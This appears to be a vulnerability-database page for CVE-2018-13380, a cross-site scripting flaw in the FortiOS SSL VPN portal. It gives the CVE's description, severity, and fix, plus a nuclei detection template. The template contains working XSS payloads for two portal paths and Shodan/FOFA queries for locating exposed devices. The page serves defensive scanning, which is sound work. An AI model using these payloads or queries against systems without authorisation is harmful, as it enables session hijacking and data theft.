HexBrain

Browse / CVEs / CVE-2018-13380

CVE-2018-13380· fortinet / fortios· CWE-79

Fortinet FortiOS - Cross-Site Scripting

mediumseverity
6.1CVSS score
62.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by Fortinet to fix this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B ; GET {{BaseURL}}/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E
Positive when: contains "<svg/onload=alert(1337)>" or "<script>alert(1337)</script>" AND not contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2018-13380 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-13380

info:
  name: Fortinet FortiOS - Cross-Site Scripting
  author: shelld3v,AaronChen0
  severity: medium
  description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Fortinet to fix this vulnerability.
  reference:
    - https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html
    - https://fortiguard.com/advisory/FG-IR-18-383
    - https://fortiguard.com/advisory/FG-IR-20-230
    - https://nvd.nist.gov/vuln/detail/CVE-2018-13380
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-13380
    cwe-id: CWE-79
    epss-score: 0.62474
    epss-percentile: 0.99194
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - port:10443 http.favicon.hash:945408572
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash=945408572
  tags: cve,cve2018,fortios,xss,fortinet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B"
      - "{{BaseURL}}/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1337)>"
          - "<script>alert(1337)</script>"
        condition: or

      - type: word
        part: header
        negative: true
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from